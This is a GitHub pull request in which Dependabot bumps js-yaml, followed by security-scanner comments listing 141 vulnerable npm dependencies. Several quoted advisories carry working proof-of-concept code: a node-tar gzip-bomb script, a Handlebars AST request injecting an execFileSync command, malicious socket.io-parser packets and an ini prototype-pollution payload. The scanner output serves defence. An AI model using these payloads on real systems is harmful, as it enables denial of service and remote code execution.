Skip to content

Bump js-yaml from 3.12.0 to 3.15.2 - #424

Open
dependabot[bot] wants to merge 1 commit into
masterfrom
dependabot/npm_and_yarn/js-yaml-3.15.2
Open

dependabot[bot] wants to merge 1 commit into
masterfrom
dependabot/npm_and_yarn/js-yaml-3.15.2

Conversation

@dependabot

@dependabot dependabot Bot commented on behalf of github Sep 13, 2026

Copy link
Copy Markdown

Bumps js-yaml from 3.12.0 to 3.15.2.

Changelog

Sourced from js-yaml's changelog.

3.15.2 - 2026-08-26

Changed

  • [backport] Hard-limit merge sequence size to 100.

Security

  • [backport] Count empty mappings in merge sequences toward maxTotalMergeKeys to limit CPU usage, #797.

3.15.1 - 2026-07-31

Security

  • [backport] Remove quadratic complexity from !!omap duplicate key detection.

3.15.0 - 2026-06-27

Added

  • Added maxTotalMergeKeys (10000) loader option to limit the total number of keys processed by YAML merge (<<) across one safeLoad() / safeLoadAll() call.

[3.14.2] - 2025-11-15

Security

  • Fix prototype pollution in merge (<<).

[3.14.1] - 2020-12-07

Security

  • Fix possible code execution in (already unsafe) .load() (in &anchor).

[3.14.0] - 2020-05-22

Changed

  • Support safe/loadAll(input, options) variant of call.
  • CI: drop outdated nodejs versions.
  • Dev deps bump.

Fixed

  • Quote = in plain scalars #519.
  • Check the node type for !<?> tag in case user manually specifies it.
  • Verify that there are no null-bytes in input.
  • Fix wrong quote position when writing condensed flow, #526.

[3.13.1] - 2019-04-05

Security

  • Fix possible code execution in (already unsafe) .load(), #480.

[3.13.0] - 2019-03-20

... (truncated)

Commits

Dependabot compatibility score

Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase.


Dependabot commands and options

You can trigger Dependabot actions by commenting on this PR:

  • @dependabot rebase will rebase this PR
  • @dependabot recreate will recreate this PR, overwriting any edits that have been made to it
  • @dependabot show <dependency name> ignore conditions will show all of the ignore conditions of the specified dependency
  • @dependabot ignore this major version will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)
  • @dependabot ignore this minor version will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)
  • @dependabot ignore this dependency will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)
    You can disable automated security fix PRs for this repo from the Security Alerts page.

Bumps [js-yaml](https://github.com/nodeca/js-yaml) from 3.12.0 to 3.15.2.
- [Changelog](https://github.com/nodeca/js-yaml/blob/3.15.2/CHANGELOG.md)
- [Commits](nodeca/js-yaml@3.12.0...3.15.2)

---
updated-dependencies:
- dependency-name: js-yaml
  dependency-version: 3.15.2
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
@dependabot dependabot Bot added dependencies Pull requests that update a dependency file javascript Pull requests that update javascript code Minor labels Sep 13, 2026

@orca-security-eu orca-security-eu Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Orca Security Scan Summary

Status Check Issues by priority
Passed Passed Infrastructure as Code high 0   medium 0   low 0   info 0 View in Orca
Passed Passed OSS Licenses high 0   medium 0   low 0   info 0 View in Orca
Passed Passed Malicious Packages high 0   medium 0   low 0   info 0 View in Orca
Passed Passed SAST high 0   medium 0   low 0   info 0 View in Orca
Passed Passed Secrets high 0   medium 0   low 0   info 0 View in Orca
Passed Passed Vulnerabilities high 0   medium 0   low 0   info 0 View in Orca

@hitachivantarasonarqube

Copy link
Copy Markdown

@buildguy

Copy link
Copy Markdown

🚨 Frogbot scanned this pull request and found the below:

📗 Scan Summary

  • Frogbot scanned for vulnerabilities and found 141 issues
Scan Category Status Security Issues
Software Composition Analysis ✅ Done
141 Issues Found 24 Critical
73 High
41 Medium
3 Low
Contextual Analysis ℹ️ Not Scanned -
Static Application Security Testing (SAST) ℹ️ Not Scanned -
Secrets ℹ️ Not Scanned -
Infrastructure as Code (IaC) ℹ️ Not Scanned -

📦 Vulnerable Dependencies

Severity ID Dependency Path
critical
Critical
CVE-2026-59873
1 Transitivetar:4.4.1
critical
Critical
CVE-2026-4800
1 Directlodash:4.17.11
1 Transitivelodash:4.17.11
critical
Critical
CVE-2026-33937
1 Transitivehandlebars:4.0.12
critical
Critical
CVE-2025-7783
1 Transitiveform-data:2.3.3
critical
Critical
CVE-2024-38999
1 Directrequirejs:2.3.6
1 Transitiverequirejs:2.3.6
critical
Critical
CVE-2023-45311
1 Transitivefsevents:1.2.4
critical
Critical
CVE-2023-26136
1 Transitivetough-cookie:2.4.3
critical
Critical
CVE-2022-2421
1 Transitivesocket.io-parser:2.3.1
critical
Critical
CVE-2021-44906
1 Directminimist:0.0.8
1 Transitiveminimist:0.0.8
critical
Critical
CVE-2021-44906 -
critical
Critical
CVE-2021-3918
1 Transitivejson-schema:0.2.3
critical
Critical
CVE-2021-31597
1 Transitivexmlhttprequest-ssl:1.5.3
critical
Critical
CVE-2021-23440
1 Transitiveset-value:0.4.3
critical
Critical
CVE-2021-23440
1 Transitiveset-value:2.0.0
critical
Critical
CVE-2021-23383
1 Transitivehandlebars:4.0.12
critical
Critical
CVE-2021-23369
1 Transitivehandlebars:4.0.12
critical
Critical
CVE-2020-7788
1 Transitiveini:1.3.5
critical
Critical
CVE-2019-19919
1 Transitivehandlebars:4.0.12
critical
Critical
CVE-2019-10747
1 Transitiveset-value:2.0.0
critical
Critical
CVE-2019-10747
1 Transitiveset-value:0.4.3
critical
Critical
CVE-2019-10746
1 Transitivemixin-deep:1.3.1
critical
Critical
CVE-2019-10744
1 Directlodash:4.17.11
1 Transitivelodash:4.17.11
critical
Critical
CVE-2019-10744
1 Directlodash:2.2.1
1 Transitivelodash:2.2.1
critical
Critical
CVE-2019-10744 -
high
High
CVE-2026-73566
1 Transitivetar:4.4.1
high
High
CVE-2026-69185
1 Transitivesocket.io-parser:2.3.1
high
High
CVE-2026-69152
1 Transitivebrace-expansion:1.1.11
high
High
CVE-2026-59874
1 Transitivetar:4.4.1
high
High
CVE-2026-59871
1 Transitivetar:4.4.1
high
High
CVE-2026-56876
1 Transitiveextract-zip:1.6.7
high
High
CVE-2026-48779
1 Transitivews:1.1.5
high
High
CVE-2026-44705
1 Transitivetmp:0.0.33
high
High
CVE-2026-40895
1 Transitivefollow-redirects:1.5.9
high
High
CVE-2026-33941
1 Transitivehandlebars:4.0.12
high
High
CVE-2026-33940
1 Transitivehandlebars:4.0.12
high
High
CVE-2026-33939
1 Transitivehandlebars:4.0.12
high
High
CVE-2026-33938
1 Transitivehandlebars:4.0.12
high
High
CVE-2026-33750
1 Transitivebrace-expansion:1.1.11
high
High
CVE-2026-33151
1 Transitivesocket.io-parser:2.3.1
high
High
CVE-2026-31802
1 Transitivetar:4.4.1
high
High
CVE-2026-29786
1 Transitivetar:4.4.1
high
High
CVE-2026-27904
1 Directminimatch:3.0.4
1 Transitiveminimatch:3.0.4
high
High
CVE-2026-27903
1 Directminimatch:3.0.4
1 Transitiveminimatch:3.0.4
high
High
CVE-2026-27601 -
high
High
CVE-2026-27601
1 Transitiveunderscore:1.6.0
high
High
CVE-2026-26996
1 Directminimatch:3.0.4
1 Transitiveminimatch:3.0.4
high
High
CVE-2026-26960
1 Transitivetar:4.4.1
high
High
CVE-2026-24842
1 Transitivetar:4.4.1
high
High
CVE-2026-23745
1 Transitivetar:4.4.1
high
High
CVE-2026-19693
1 Transitiveextract-zip:1.6.7
high
High
CVE-2026-14257
1 Transitivebrace-expansion:1.1.11
high
High
CVE-2026-13149
1 Transitivebrace-expansion:1.1.11
high
High
CVE-2026-12143
1 Transitiveform-data:2.3.3
high
High
CVE-2025-69873
1 Transitiveajv:5.5.2
high
High
CVE-2024-45590
1 Transitivebody-parser:1.18.3
high
High
CVE-2024-4068
1 Directbraces:0.1.5
1 Transitivebraces:0.1.5
high
High
CVE-2024-4068
1 Directbraces:1.8.5
1 Transitivebraces:1.8.5
high
High
CVE-2024-4068 -
high
High
CVE-2024-39249
1 Transitiveasync:1.5.2
high
High
CVE-2024-39249 -
high
High
CVE-2024-38355
1 Transitivesocket.io:1.7.4
high
High
CVE-2023-32695
1 Transitivesocket.io-parser:2.3.1
high
High
CVE-2022-38900
1 Transitivedecode-uri-component:0.2.0
high
High
CVE-2022-3517
1 Directminimatch:3.0.4
1 Transitiveminimatch:3.0.4
high
High
CVE-2022-29169
1 Transitiveuseragent:2.3.0
high
High
CVE-2022-25883
1 Transitivesemver:5.5.0
high
High
CVE-2022-25883
1 Transitivesemver:4.3.6
high
High
CVE-2022-24999
1 Transitiveqs:6.5.2
high
High
CVE-2022-21681
1 Transitivemarked:0.3.19
high
High
CVE-2022-21680
1 Transitivemarked:0.3.19
high
High
CVE-2021-43138 -
high
High
CVE-2021-37713
1 Transitivetar:4.4.1
high
High
CVE-2021-37712
1 Transitivetar:4.4.1
high
High
CVE-2021-37701
1 Transitivetar:4.4.1
high
High
CVE-2021-33623
1 Transitivetrim-newlines:1.0.0
high
High
CVE-2021-32804
1 Transitivetar:4.4.1
high
High
CVE-2021-32803
1 Transitivetar:4.4.1
high
High
CVE-2021-23358 -
high
High
CVE-2021-23358
1 Transitiveunderscore:1.6.0
high
High
CVE-2021-23343
1 Directpath-parse:1.0.6
high
High
CVE-2021-23337
1 Directlodash:2.2.1
1 Transitivelodash:2.2.1
high
High
CVE-2021-23337
1 Directlodash:4.17.11
1 Transitivelodash:4.17.11
high
High
CVE-2021-23337 -
high
High
CVE-2020-8203 -
high
High
CVE-2020-8203
1 Directlodash:4.17.11
1 Transitivelodash:4.17.11
high
High
CVE-2020-36049
1 Transitivesocket.io-parser:2.3.1
high
High
CVE-2020-36048
1 Transitiveengine.io:1.8.5
high
High
CVE-2020-28502
1 Transitivexmlhttprequest-ssl:1.5.3
high
High
CVE-2020-26311
1 Transitiveuseragent:2.3.0
high
High
CVE-2019-20922
1 Transitivehandlebars:4.0.12
high
High
CVE-2019-20920
1 Transitivehandlebars:4.0.12
high
High
CVE-2019-20149
1 Directkind-of:6.0.2
1 Transitivekind-of:6.0.2
high
High
CVE-2019-10790
1 Transitivetaffydb:2.6.2
high
High
CVE-2018-20834
1 Transitivetar:4.4.1
high
High
CVE-2017-20165 -
high
High
CVE-2017-20165
1 Directdebug:2.2.0
1 Transitivedebug:2.2.0
high
High
CVE-2017-16113
1 Transitiveparsejson:0.0.3
medium
Medium
CVE-2026-82417
1 Transitiveqs:6.5.2
medium
Medium
CVE-2026-59875
1 Transitivetar:4.4.1
medium
Medium
CVE-2026-53655
1 Transitivetar:4.4.1
medium
Medium
CVE-2026-45822
1 Transitivedecode-uri-component:0.2.0
medium
Medium
CVE-2026-33916
1 Transitivehandlebars:4.0.12
medium
Medium
CVE-2026-2950 -
medium
Medium
CVE-2026-2950
1 Directlodash:2.2.1
1 Transitivelodash:2.2.1
medium
Medium
CVE-2026-2950
1 Directlodash:4.17.11
1 Transitivelodash:4.17.11
medium
Medium
CVE-2026-23950
1 Transitivetar:4.4.1
medium
Medium
CVE-2026-12590
1 Transitivebody-parser:1.18.3
medium
Medium
CVE-2025-54798
1 Transitivetmp:0.0.33
medium
Medium
CVE-2025-15284
1 Transitiveqs:6.5.2
medium
Medium
CVE-2025-13465
1 Directlodash:4.17.11
1 Transitivelodash:4.17.11
medium
Medium
CVE-2024-47764
1 Transitivecookie:0.3.1
medium
Medium
CVE-2024-4067
1 Transitivemicromatch:2.3.11
medium
Medium
CVE-2024-4067 -
medium
Medium
CVE-2024-36751
1 Transitiveparseuri:0.0.5
medium
Medium
CVE-2024-28863
1 Transitivetar:4.4.1
medium
Medium
CVE-2024-28849
1 Transitivefollow-redirects:1.5.9
medium
Medium
CVE-2023-28155
1 Transitiverequest:2.88.0
medium
Medium
CVE-2023-26159
1 Transitivefollow-redirects:1.5.9
medium
Medium
CVE-2022-41940
1 Transitiveengine.io:1.8.5
medium
Medium
CVE-2022-21704
1 Transitivelog4js:0.6.38
medium
Medium
CVE-2022-0536
1 Transitivefollow-redirects:1.5.9
medium
Medium
CVE-2022-0437
1 Directkarma:0.13.22
1 Transitivekarma:0.13.22
medium
Medium
CVE-2022-0155
1 Transitivefollow-redirects:1.5.9
medium
Medium
CVE-2021-23495
1 Directkarma:0.13.22
1 Transitivekarma:0.13.22
medium
Medium
CVE-2021-23362
1 Transitivehosted-git-info:2.7.1
medium
Medium
CVE-2020-7598
1 Directminimist:0.0.8
1 Transitiveminimist:0.0.8
medium
Medium
CVE-2020-7598 -
medium
Medium
CVE-2020-28500
1 Directlodash:4.17.11
1 Transitivelodash:4.17.11
medium
Medium
CVE-2020-28481
1 Transitivesocket.io:1.7.4
medium
Medium
CVE-2020-15366
1 Transitiveajv:5.5.2
medium
Medium
CVE-2018-3721
1 Directlodash:2.2.1
1 Transitivelodash:2.2.1
medium
Medium
CVE-2018-3721 -
medium
Medium
CVE-2018-16487 -
medium
Medium
CVE-2018-16487
1 Directlodash:2.2.1
1 Transitivelodash:2.2.1
medium
Medium
CVE-2017-20162
1 Directms:0.7.2
1 Transitivems:0.7.2
medium
Medium
CVE-2017-20162
1 Directms:0.7.1
1 Transitivems:0.7.1
medium
Medium
CVE-2017-16137
1 Directdebug:2.2.0
1 Transitivedebug:2.2.0
medium
Medium
CVE-2017-16137 -
low
Low
GHSA-442j-39wm-28r2
1 Transitivehandlebars:4.0.12
low
Low
CVE-2025-5889
1 Transitivebrace-expansion:1.1.11
low
Low
CVE-2017-18869
1 Transitivechownr:1.0.1

@buildguy

Copy link
Copy Markdown

📦 Vulnerable Dependencies

🔖 Details

[ CVE-2026-59873 ] tar 4.4.1

Vulnerability Details

CVSS V3: 7.5
Dependency Path:
tar: 4.4.1 (Transitive)Fix Version: 7.5.19

Summary

A Decompression/parse DoS via unlimited input vulnerability in node-tar allows an attacker to exhaust server resources (disk space and CPU). Because the library does not enforce hard upper bounds on total decompressed data or entry counts, a small, maliciously crafted "Gzip Bomb" can be used to fill a server's storage and crash services.

Details

The node-tar library does not enforce a hard upper bound on archive size or the volume of decompressed data processed during extraction. While the maxReadSize option exists, it only controls internal read chunk sizes (default 16MB) and does not limit the total cumulative bytes written to disk.

Specifically, in src/extract.ts, the Unpack stream processes entries as they arrive. There is no total-bytes limit, entry-count limit, or decompression ratio guard. An attacker can provide a TAR header claiming a massive file size (e.g., 10GB) and follow it with highly compressible data (like zeros). node-tar will continue to extract and write this data until the physical disk is exhausted, as it lacks a mechanism to abort based on global resource consumption.

PoC

The following Proof of Concept demonstrates how a tiny compressed input can be expanded into gigabytes of data on the host machine almost instantly.

  1. Create the exploit script:
const fs = require('fs'), z = require('zlib'), t = require('tar');

const d = 'dos_test';
if (fs.existsSync(d)) fs.rmSync(d, {recursive:true});
fs.mkdirSync(d);

// Build 10GB header
const h = Buffer.alloc(512);
h.write('payload');
h.write((10*1024**3).toString(8).padStart(11,'0'), 124); 
h.write('ustar', 257);
let s = 256;
for(let i=0;i<512;i++) if(i<148||i>155) s+=h[i];
h.write(s.toString(8).padStart(6,'0'), 148);

const gz = z.createGzip();
gz.pipe(t.x({cwd: d}));
gz.write(h);

const b = Buffer.alloc(32 * 1024 * 1024); // 32MB chunks for speed

const run = () => {
  while (gz.write(b));
  gz.once('drain', run);
};

const monitor = setInterval(() => {
    try {
        const bytes = fs.statSync(`${d}/payload`).size;
        const mb = Math.floor(bytes / (1024 * 1024));
        process.stdout.write(`\r[>] Extracted: ${mb} MB`);
        
        if (mb > 5000) { 
            console.log('\n[!] VULN CONFIRMED: 5GB+ written from tiny input.'); 
            process.exit(); 
        }
    } catch {}
}, 50);

process.on('exit', () => {
    clearInterval(monitor);
    console.log('[*] Cleaning up...');
    if (fs.existsSync(d)) fs.rmSync(d, {recursive:true, force:true});
});

run();
  1. Run the PoC:
node poc.js

Observation: You will see the extracted size rapidly climb to 5,000 MB+ within seconds, while the actual data being "sent" through the gzip stream is negligible.

Impact

This is a Denial of Service (DoS) vulnerability. It impacts any application or service that uses node-tar to extract archives provided by untrusted users (e.g., npm registries, CI/CD pipelines, or file-sharing platforms). An unauthenticated attacker can send a small payload that expands to consume all available disk space, leading to system-wide failure and service outages.

[ CVE-2026-4800 ] lodash 4.17.11

Vulnerability Details

CVSS V3: 9.8
Dependency Path:
lodash: 4.17.11 (Transitive)Fix Version: 4.18.0

Impact: The fix for CVE-2021-23337 (GHSA-35jh-r3h4-6jhm) added validation for the variable option in _.template but did not apply the same validation to options.imports key names. Both paths flow into the same Function() constructor sink. When an application passes untrusted input as options.imports key names, an attacker can inject default-parameter expressions that execute arbitrary code at template compilation time. Additionally, _.template uses assignInWith to merge imports, which enumerates inherited properties via for..in. If Object.prototype has been polluted by any other vector, the polluted keys are copied into the imports object and passed to Function(). Patches: Users should upgrade to version 4.18.0. Workarounds: Do not pass untrusted input as key names in options.imports. Only use developer-controlled, static key names.

[ CVE-2026-33937 ] handlebars 4.0.12

Vulnerability Details

CVSS V3: 9.8
Dependency Path:
handlebars: 4.0.12 (Transitive)Fix Version: 4.7.9

Summary

Handlebars.compile() accepts a pre-parsed AST object in addition to a template string. The value field of a NumberLiteral AST node is emitted directly into the generated JavaScript without quoting or sanitization. An attacker who can supply a crafted AST to compile() can therefore inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server.

Description

Handlebars.compile() accepts either a template string or a pre-parsed AST. When an AST is supplied, the JavaScript code generator in lib/handlebars/compiler/javascript-compiler.js emits NumberLiteral values verbatim:

// Simplified representation of the vulnerable code path:
// NumberLiteral.value is appended to the generated code without escaping
compiledCode += numberLiteralNode.value;

Because the value is not wrapped in quotes or otherwise sanitized, passing a string such as {},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() // as the value of a NumberLiteral causes the generated eval-ed code to break out of its intended context and execute arbitrary commands.

Any endpoint that deserializes user-controlled JSON and passes the result directly to Handlebars.compile() is exploitable.

Proof of Concept

Server-side Express application that passes req.body.text to Handlebars.compile():

import express from "express";
import Handlebars from "handlebars";

const app = express();
app.use(express.json());

app.post("/api/render", (req, res) => {
  let text = req.body.text;
  let template = Handlebars.compile(text);
  let result = template();
  res.send(result);
});

app.listen(2123);
POST /api/render HTTP/1.1
Content-Type: application/json
Host: 127.0.0.1:2123

{
  "text": {
    "type": "Program",
    "body": [
      {
        "type": "MustacheStatement",
        "path": {
          "type": "PathExpression",
          "data": false,
          "depth": 0,
          "parts": ["lookup"],
          "original": "lookup",
          "loc": null
        },
        "params": [
          {
            "type": "PathExpression",
            "data": false,
            "depth": 0,
            "parts": [],
            "original": "this",
            "loc": null
          },
          {
            "type": "NumberLiteral",
            "value": "{},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() //",
            "original": 1,
            "loc": null
          }
        ],
        "escaped": true,
        "strip": { "open": false, "close": false },
        "loc": null
      }
    ]
  }
}

The response body will contain the output of the id command executed on the server.

Workarounds

  • Validate input type before calling Handlebars.compile(): ensure the argument is always a string, never a plain object or JSON-deserialized value.
    if (typeof templateInput !== 'string') {
      throw new TypeError('Template must be a string');
    }
  • Use the Handlebars runtime-only build (handlebars/runtime) on the server if templates are pre-compiled at build time; compile() will be unavailable.
[ CVE-2025-7783 ] form-data 2.3.3

Vulnerability Details

CVSS V3: -
Dependency Path:
form-data: 2.3.3 (Transitive)Fix Version: 2.5.4

Summary

form-data uses Math.random() to select a boundary value for multipart form-encoded data. This can lead to a security issue if an attacker:

  1. can observe other values produced by Math.random in the target application, and
  2. can control one field of a request made using form-data

Because the values of Math.random() are pseudo-random and predictable (see: https://blog.securityevaluators.com/hacking-the-javascript-lottery-80cc437e3b7f), an attacker who can observe a few sequential values can determine the state of the PRNG and predict future values, includes those used to generate form-data's boundary value. The allows the attacker to craft a value that contains a boundary value, allowing them to inject additional parameters into the request.

This is largely the same vulnerability as was recently found in undici by parrot409 -- I'm not affiliated with that researcher but want to give credit where credit is due! My PoC is largely based on their work.

Details

The culprit is this line here: https://github.com/form-data/form-data/blob/426ba9ac440f95d1998dac9a5cd8d738043b048f/lib/form_data.js#L347

An attacker who is able to predict the output of Math.random() can predict this boundary value, and craft a payload that contains the boundary value, followed by another, fully attacker-controlled field. This is roughly equivalent to any sort of improper escaping vulnerability, with the caveat that the attacker must find a way to observe other Math.random() values generated by the application to solve for the state of the PRNG. However, Math.random() is used in all sorts of places that might be visible to an attacker (including by form-data itself, if the attacker can arrange for the vulnerable application to make a request to an attacker-controlled server using form-data, such as a user-controlled webhook -- the attacker could observe the boundary values from those requests to observe the Math.random() outputs). A common example would be a x-request-id header added by the server. These sorts of headers are often used for distributed tracing, to correlate errors across the frontend and backend. Math.random() is a fine place to get these sorts of IDs (in fact, opentelemetry uses Math.random for this purpose)

PoC

PoC here: https://github.com/benweissmann/CVE-2025-7783-poc

Instructions are in that repo. It's based on the PoC from https://hackerone.com/reports/2913312 but simplified somewhat; the vulnerable application has a more direct side-channel from which to observe Math.random() values (a separate endpoint that happens to include a randomly-generated request ID).

Impact

For an application to be vulnerable, it must:

  • Use form-data to send data including user-controlled data to some other system. The attacker must be able to do something malicious by adding extra parameters (that were not intended to be user-controlled) to this request. Depending on the target system's handling of repeated parameters, the attacker might be able to overwrite values in addition to appending values (some multipart form handlers deal with repeats by overwriting values instead of representing them as an array)
  • Reveal values of Math.random(). It's easiest if the attacker can observe multiple sequential values, but more complex math could recover the PRNG state to some degree of confidence with non-sequential values.

If an application is vulnerable, this allows an attacker to make arbitrary requests to internal systems.

[ CVE-2024-38999 ] requirejs 2.3.6

Vulnerability Details

CVSS V3: 10
Dependency Path:
requirejs: 2.3.6 (Transitive)Fix Version: 2.3.7

jrburke requirejs v2.3.6 was discovered to contain a prototype pollution via the function s.contexts._.configure. This vulnerability allows attackers to execute arbitrary code or cause a Denial of Service (DoS) via injecting arbitrary properties.

[ CVE-2023-45311 ] fsevents 1.2.4

Vulnerability Details

CVSS V3: 9.8
Dependency Path:
fsevents: 1.2.4 (Transitive)Fix Version: 1.2.11

fsevents before 1.2.11 depends on the https://fsevents-binaries.s3-us-west-2.amazonaws.com URL, which might allow an adversary to execute arbitrary code if any JavaScript project (that depends on fsevents) distributes code that was obtained from that URL at a time when it was controlled by an adversary. NOTE: some sources feel that this means that no version is affected any longer, because the URL is not controlled by an adversary.

[ CVE-2023-26136 ] tough-cookie 2.4.3

Vulnerability Details

CVSS V3: 9.8
Dependency Path:
tough-cookie: 2.4.3 (Transitive)Fix Version: 4.1.3

Versions of the package tough-cookie before 4.1.3 are vulnerable to Prototype Pollution due to improper handling of Cookies when using CookieJar in rejectPublicSuffixes=false mode. This issue arises from the manner in which the objects are initialized.

[ CVE-2022-2421 ] socket.io-parser 2.3.1

Vulnerability Details

CVSS V3: 9.8
Dependency Path:
socket.io-parser: 2.3.1 (Transitive)Fix Version: 3.3.3

Due to improper type validation in the socket.io-parser library (which is used by the socket.io and socket.io-client packages to encode and decode Socket.IO packets), it is possible to overwrite the _placeholder object which allows an attacker to place references to functions at arbitrary places in the resulting query object.

Example:

const decoder = new Decoder();

decoder.on("decoded", (packet) => {
 console.log(packet.data); // prints [ 'hello', [Function: splice] ]
})

decoder.add('51-["hello",{"_placeholder":true,"num":"splice"}]');
decoder.add(Buffer.from("world"));

This bubbles up in the socket.io package:

io.on("connection", (socket) => {
 socket.on("hello", (val) => {
 // here, "val" could be a function instead of a buffer
 });
});

⚠️ IMPORTANT NOTE ⚠️

You need to make sure that the payload that you received from the client is actually a Buffer object:

io.on("connection", (socket) => {
 socket.on("hello", (val) => {
 if (!Buffer.isBuffer(val)) {
 socket.disconnect();
 return;
 }
 // ...
 });
});

If that's already the case, then you are not impacted by this issue, and there is no way an attacker could make your server crash (or escalate privileges, ...).

Example of values that could be sent by a malicious user:

  • a number that is out of bounds

Sample packet: 451-["hello",{"_placeholder":true,"num":10}]

io.on("connection", (socket) => {
 socket.on("hello", (val) => {
 // val is `undefined`
 });
});
  • a value that is not a number, like undefined

Sample packet: 451-["hello",{"_placeholder":true,"num":undefined}]

io.on("connection", (socket) => {
 socket.on("hello", (val) => {
 // val is `undefined`
 });
});
  • a string that is part of the prototype of Array, like "push"

Sample packet: 451-["hello",{"_placeholder":true,"num":"push"}]

io.on("connection", (socket) => {
 socket.on("hello", (val) => {
 // val is a reference to the "push" function
 });
});
  • a string that is part of the prototype of Object, like "hasOwnProperty"

Sample packet: 451-["hello",{"_placeholder":true,"num":"hasOwnProperty"}]

io.on("connection", (socket) => {
 socket.on("hello", (val) => {
 // val is a reference to the "hasOwnProperty" function
 });
});

This should be fixed by:

Dependency analysis for the socket.io package

socket.io version socket.io-parser version Covered?
4.5.2...latest ~4.2.0 (ref) Yes ✔️
4.1.3...4.5.1 ~4.0.4 (ref) Yes ✔️
3.0.5...4.1.2 ~4.0.3 (ref) Yes ✔️
3.0.0...3.0.4 ~4.0.1 (ref) Yes ✔️
2.3.0...2.5.0 ~3.4.0 (ref) Yes ✔️

Dependency analysis for the socket.io-client package

socket.io-client version socket.io-parser version Covered?
4.5.0...latest ~4.2.0 (ref) Yes ✔️
4.3.0...4.4.1 ~4.1.1 (ref) No, but the impact is very limited
3.1.0...4.2.0 ~4.0.4 (ref) Yes ✔️
3.0.5 ~4.0.3 (ref) Yes ✔️
3.0.0...3.0.4 ~4.0.1 (ref) Yes ✔️
2.2.0...2.5.0 ~3.3.0 (ref) Yes ✔️

[ CVE-2021-44906 ] minimist 0.0.8

Vulnerability Details

CVSS V3: 9.8
Dependency Path:
minimist: 0.0.8 (Transitive)Fix Version: 0.2.4

Minimist prior to 1.2.6 and 0.2.4 is vulnerable to Prototype Pollution via file index.js, function setKey() (lines 69-95).

[ CVE-2021-44906 ] minimist 1.2.0

Vulnerability Details

CVSS V3: 9.8

Minimist prior to 1.2.6 and 0.2.4 is vulnerable to Prototype Pollution via file index.js, function setKey() (lines 69-95).

[ CVE-2021-3918 ] json-schema 0.2.3

Vulnerability Details

CVSS V3: 9.8
Dependency Path:
json-schema: 0.2.3 (Transitive)Fix Version: 0.4.0

json-schema before version 0.4.0 is vulnerable to Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution').

[ CVE-2021-31597 ] xmlhttprequest-ssl 1.5.3

Vulnerability Details

CVSS V3: 9.4
Dependency Path:
xmlhttprequest-ssl: 1.5.3 (Transitive)Fix Version: 1.6.1

The xmlhttprequest-ssl package before 1.6.1 for Node.js disables SSL certificate validation by default, because rejectUnauthorized (when the property exists but is undefined) is considered to be false within the https.request function of Node.js. In other words, no certificate is ever rejected.

[ CVE-2021-23440 ] set-value 0.4.3

Vulnerability Details

CVSS V3: 9.8
Dependency Path:
set-value: 0.4.3 (Transitive)Fix Version: 2.0.1

This affects the package set-value. A type confusion vulnerability can lead to a bypass of CVE-2019-10747 when the user-provided keys used in the path parameter are arrays.

[ CVE-2021-23440 ] set-value 2.0.0

Vulnerability Details

CVSS V3: 9.8
Dependency Path:
set-value: 2.0.0 (Transitive)Fix Version: 2.0.1

This affects the package set-value. A type confusion vulnerability can lead to a bypass of CVE-2019-10747 when the user-provided keys used in the path parameter are arrays.

[ CVE-2021-23383 ] handlebars 4.0.12

Vulnerability Details

CVSS V3: 9.8
Dependency Path:
handlebars: 4.0.12 (Transitive)Fix Version: 4.7.7

The package handlebars before 4.7.7 are vulnerable to Prototype Pollution when selecting certain compiling options to compile templates coming from an untrusted source.

[ CVE-2021-23369 ] handlebars 4.0.12

Vulnerability Details

CVSS V3: 9.8
Dependency Path:
handlebars: 4.0.12 (Transitive)Fix Version: 4.7.7

The package handlebars before 4.7.7 are vulnerable to Remote Code Execution (RCE) when selecting certain compiling options to compile templates coming from an untrusted source.

[ CVE-2020-7788 ] ini 1.3.5

Vulnerability Details

CVSS V3: 9.8
Dependency Path:
ini: 1.3.5 (Transitive)Fix Version: 1.3.6

Overview

The ini npm package before version 1.3.6 has a Prototype Pollution vulnerability.

If an attacker submits a malicious INI file to an application that parses it with ini.parse, they will pollute the prototype on the application. This can be exploited further depending on the context.

Patches

This has been patched in 1.3.6.

Steps to reproduce

payload.ini

[__proto__]
polluted = "polluted"

poc.js:

var fs = require('fs')
var ini = require('ini')

var parsed = ini.parse(fs.readFileSync('./payload.ini', 'utf-8'))
console.log(parsed)
console.log(parsed.__proto__)
console.log(polluted)
> node poc.js
{}
{ polluted: 'polluted' }
{ polluted: 'polluted' }
polluted
```<br></details>

<details><summary><b>[ CVE-2019-19919 ] handlebars 4.0.12</b></summary>

### Vulnerability Details
|                 |                   |
| --------------------- | :-----------------------------------: |
| **CVSS V3:** | 9.8 |
| **Dependency Path:** | <details><summary><b>handlebars: 4.0.12 (Transitive)</b></summary>Fix Version: 4.3.0<br></details> |

Versions of `handlebars` prior to 3.0.8 or 4.3.0 are vulnerable to Prototype Pollution leading to Remote Code Execution. Templates may alter an Objects' `__proto__` and `__defineGetter__` properties, which may allow an attacker to execute arbitrary code through crafted payloads.


## Recommendation

Upgrade to version 3.0.8, 4.3.0 or later.<br></details>

<details><summary><b>[ CVE-2019-10747 ] set-value 2.0.0</b></summary>

### Vulnerability Details
|                 |                   |
| --------------------- | :-----------------------------------: |
| **CVSS V3:** | 9.8 |
| **Dependency Path:** | <details><summary><b>set-value: 2.0.0 (Transitive)</b></summary>Fix Version: 2.0.1<br></details> |

Versions of `set-value` prior to 3.0.1 or 2.0.1 are vulnerable to Prototype Pollution. The `set` function fails to validate which Object properties it updates. This allows attackers to modify the prototype of Object, causing the addition or modification of an existing property on all objects.




## Recommendation

If you are using `set-value` 3.x, upgrade to version 3.0.1 or later.
If you are using `set-value` 2.x, upgrade to version 2.0.1 or later.<br></details>

<details><summary><b>[ CVE-2019-10747 ] set-value 0.4.3</b></summary>

